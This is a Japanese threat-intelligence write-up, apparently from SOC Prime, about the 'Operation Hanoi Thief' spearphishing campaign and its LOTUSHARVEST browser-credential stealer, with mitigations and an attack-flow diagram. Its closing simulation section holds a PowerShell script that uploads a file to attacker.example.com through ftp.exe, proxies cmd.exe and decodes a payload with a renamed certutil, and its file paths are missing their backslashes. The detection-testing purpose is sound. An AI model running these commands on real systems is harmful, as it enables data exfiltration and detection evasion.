SOC Prime Bias: クリティカル

02 12月 2025 18:54

ハノイシーフ作戦: ベトナムのITおよび採用チームを狙う脅威アクター

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
ハノイシーフ作戦: ベトナムのITおよび採用チームを狙う脅威アクター
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

「Operation Hanoi Thief」と呼ばれるスピアフィッシング作戦は、ショートカット(LNK)と擬似ポリグロットドキュメントを束ねた悪意のあるZIPアーカイブを配信します。ショートカットはftp.exeを悪用してバッチスクリプトを実行し、ProgramDataにMsCtfMonitor.dllという名前のDLLをドロップし、次にctfmon.exeを介したDLLサイドローディングを行います。このDLLはLOTUSHARVESTと呼ばれ、ブラウザの資格情報と履歴を盗み、収集したデータをHTTPS経由で流出させます。

Operation Hanoi Thief キャンペーン分析

SEQRITE Labs APT-Teamの研究者たちはZIPアーカイブを解凍し、LNKコマンドラインがどのようにftp.exeを悪用しているかを記録しました。 ftp.exe、改名された certutil.exe バイナリの作成を観察し、DLLサイドローディングチェーンを探りました。さらに、データ流出に関与するネットワークインジケーターを捕捉し、このキャンペーンを中国国家支援の脅威アクターに帰属させています。

軽減策

防御策のガイドラインには、疑わしいLNKショートカットの実行をブロックし、信頼できないスクリプトでのftp.exeやcertutil.exeなどのネイティブWindowsツールの使用を制限し、DLL読み込みパスに関する制御を強化し、未知のドメインへのアウトバウンドHTTPSトラフィックを監視することが含まれます。また、組織はメール添付ファイルのフィルタリングを厳格化し、履歴書をテーマにしたフィッシング攻撃に対するユーザー訓練を強化する必要があります。

対応策

ProgramData内でMsCtfMonitor.dllが現れること、-sフラグ付きのftp.exeの実行、および既知の悪意のあるドメインへのアウトバウンドリクエストに対してアラートをトリガーします。影響を受けるファイルを隔離し、妥協したエンドポイントを隔離し、影響を受けたブラウザのパスワードと資格情報を変更します。

mermaid graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% ノード action_phishing[“<b>アクション</b> – <b>T1566.001 フィッシング: スピアフィッシングアタッチメント</b><br />敵はターゲットユーザーに悪意のあるZIPアーカイブを送信”] class action_phishing action file_malicious_zip[“<b>ファイル</b> – 名前: Le‑Xuan‑Son_CV.zip<br />CV.pdf.lnkと偽装されたPDF/PNGを含む”] class file_malicious_zip file action_user_exec[“<b>アクション</b> – <b>T1204.002 ユーザー実行: 悪意のあるファイル</b><br />被害者はアーカイブを解凍し、ショートカットを開きます”] class action_user_exec action file_lnk[“<b>ファイル</b> – 名前: CV.pdf.lnk(ショートカット)”] class file_lnk file action_shortcut_mod[“<b>アクション</b> – <b>T1547.009 ブートまたはログオンの自動開始実行: ショートカットの変更</b><br />LNKが-s引数を使用してftp.exeを実行”] class action_shortcut_mod action tool_ftp[“<b>ツール</b> – 名前: ftp.exe(Windowsシステムバイナリ)”] class tool_ftp tool action_proxy_exec[“<b>アクション</b> – <b>T1218 システムバイナリプロキシ実行</b><br />合法的なバイナリが隠しコマンドを実行するために悪用”] class action_proxy_exec action tool_device_cred_deploy[“<b>ツール</b> – 名前: DeviceCredentialDeployment.exe”] class tool_device_cred_deploy tool tool_certutil[“<b>ツール</b> – 名前: certutil.exe”] class tool_certutil tool action_masquerade[“<b>アクション</b> – <b>T1036.008 偽装: ファイルタイプ<br>T1036.007 偽装: ダブル拡張子</b><br />ペイロードはPDF/PNGとして偽装され、後で名前変更”] class action_masquerade action file_masq_pdf[“<b>ファイル</b> – 名前: offsec‑certified‑professional.png(実際はPDF)”] class file_masq_pdf file action_compression[“<b>アクション</b> – <b>T1027.015 難読化されたファイルや情報: 圧縮</b><br />ZIPは悪意のあるペイロードの配信に利用”] class action_compression action action_compile_after_delivery[“<b>アクション</b> – <b>T1027.004 配信後のコンパイル</b><br />ベアラリーミックスされたスクリプトからBase64エンコードされたDLLを抽出”] class action_compile_after_delivery action action_dll_sideload[“<b>アクション</b> – <b>T1574.002 DLL サイドローディング</b><br />悪意のあるDLLがctfmon.exeの横に配置”] class action_dll_sideload action file_ctfmon_exe[“<b>ファイル</b> – 名前: ctfmon.exe(作業ディレクトリにコピー)”] class file_ctfmon_exe file file_malicious_dll[“<b>ファイル</b> – 名前: MsCtfMonitor.dll(悪意あり)”] class file_malicious_dll malware action_process_injection[“<b>アクション</b> – <b>T1055.001 プロセスインジェクション: DLLインジェクション</b><br />サイドローディングされたDLLがctfmon.exeによって実行され、攻撃者のコードを実行”] class action_process_injection action action_browser_discovery[“<b>アクション</b> – <b>T1217 ブラウザー情報探索</b><br />DLLがChromeとEdgeのSQLiteデータベースからURLを読み取る”] class action_browser_discovery action action_credential_extraction[“<b>アクション</b> – <b>T1555.003 ウェブブラウザーからの資格情報</b><br />パスワードはCryptUnprotectDataで復号化される”] class action_credential_extraction action action_exfiltration_auto[“<b>アクション</b> – <b>T1020 自動化された情報流出</b><br />データがHTTPS経由で流出する準備”] class action_exfiltration_auto action action_exfiltration_c2[“<b>アクション</b> – <b>T1041 C2チャネルを経由した情報流出</b><br /><b>T1102 ウェブサービス</b><br />データがHTTP POSTで攻撃者のドメインに送信”] class action_exfiltration_c2 action %% 接続 action_phishing u002du002d>|配信| file_malicious_zip file_malicious_zip u002du002d>|含まれる| file_lnk file_lnk u002du002d>|トリガーされた| action_user_exec action_user_exec u002du002d>|に続く| action_shortcut_mod action_shortcut_mod u002du002d>|実行| tool_ftp tool_ftp u002du002d>|使用された| action_proxy_exec action_proxy_exec u002du002d>|も使用している| tool_device_cred_deploy action_proxy_exec u002du002d>|も使用している| tool_certutil action_shortcut_mod u002du002d>|使用| action_masquerade action_masquerade u002du002d>|作成された| file_masq_pdf action_masquerade u002du002d>|に依存する| action_compression action_compression u002du002d>|を可能にする| action_compile_after_delivery action_compile_after_delivery u002du002d>|生成| file_malicious_dll action_compile_after_delivery u002du002d>|準備| action_dll_sideload action_dll_sideload u002du002d>|DLLを設置| file_ctfmon_exe action_dll_sideload u002du002d>|を設置| file_malicious_dll file_ctfmon_exe u002du002d>|を読み込む| file_malicious_dll file_malicious_dll u002du002d>|実行する| action_process_injection action_process_injection u002du002d>|を可能にする| action_browser_discovery action_browser_discovery u002du002d>|データを供給する| action_credential_extraction action_credential_extraction u002du002d>|データを供給する| action_exfiltration_auto action_exfiltration_auto u002du002d>|データを送信する| action_exfiltration_c2 %% クラス割り当て class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware

攻撃フロー

シミュレーション実行

前提条件: テレメトリ & ベースライン事前フライトチェックが通過していること。

理論的根拠: このセクションは検出ルールをトリガーするために設計された実際の敵の技法(TTP)の正確な実行について詳述しています。コマンドと記述は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。

  • 攻撃の背景 & コマンド:
    侵害されたWindowsマシンで低権限のシェルを取得した攻撃者は、データを流出させてステルスを維持したいと考えています。

    1. ステージ1 – FTPスクリプトの実行:攻撃者は一時的なスクリプトupload.txtを作成し、FTPコマンドを含めてftp.exe -s upload.txtを実行し、外部サーバーにファイルを転送します。
    2. ステージ2 – プロキシコマンドの実行:cmd.execmd.exeの利用を隠すために、攻撃者はDeviceCredentialDeployment.exeを引数としてcmd.exe /c whoamiを用いて起動します。署名されたユーティリティは隠しコマンドシェルを生成し、簡単なプロセス名のアラートを回避します。
    3. ステージ3 – フェイクされたcertutilの使用:攻撃者はcertutil.exeをコピーしてC:Templala.exeにファイルを配置し、lala.exe -decode malicious.b64 output.exeを実行してペイロードをデコードし、ファイル名に基づく検出を回避するために名前変更を活用します。
  • 回帰テストスクリプト:次のPowerShellスクリプトは、3つのステップを再現可能な方法で再現します。

    # 回帰テストスクリプト – 検出ルールをトリガー
    # 1. -sフラグ付きのFTP
    $ftpScript = "$env:TEMPupload.txt"
    @"
    open attacker.example.com
    user testuser testpass
    put C:WindowsSystem32notepad.exe notepad.exe
    quit
    "@ | Set-Content -Path $ftpScript -Encoding ASCII
    Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait
    
    # 2. cmd.exeのプロキシ化によるDeviceCredentialDeployment.exe
    $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe"
    if (Test-Path $dccPath) {
        Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait
    } else {
        Write-Host "DeviceCredentialDeployment.exeが見つかりません – ステップ2をスキップします。"
    }
    
    # 3. フェイクされたcertutilの実行
    $original = "$env:SystemRootSystem32certutil.exe"
    $masq = "$env:TEMPlala.exe"
    Copy-Item -Path $original -Destination $masq -Force
    $payload = "$env:TEMPmalicious.b64"
    $output  = "$env:TEMPdecoded.exe"
    # ダミーのbase64ペイロードを作成
    [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicious")))
    Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait
  • クリーンアップ用コマンド:試験中に作成されたアーティファクトを削除します。

    # クリーンアップスクリプト
    Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue
    Write-Host "Cleanup completed."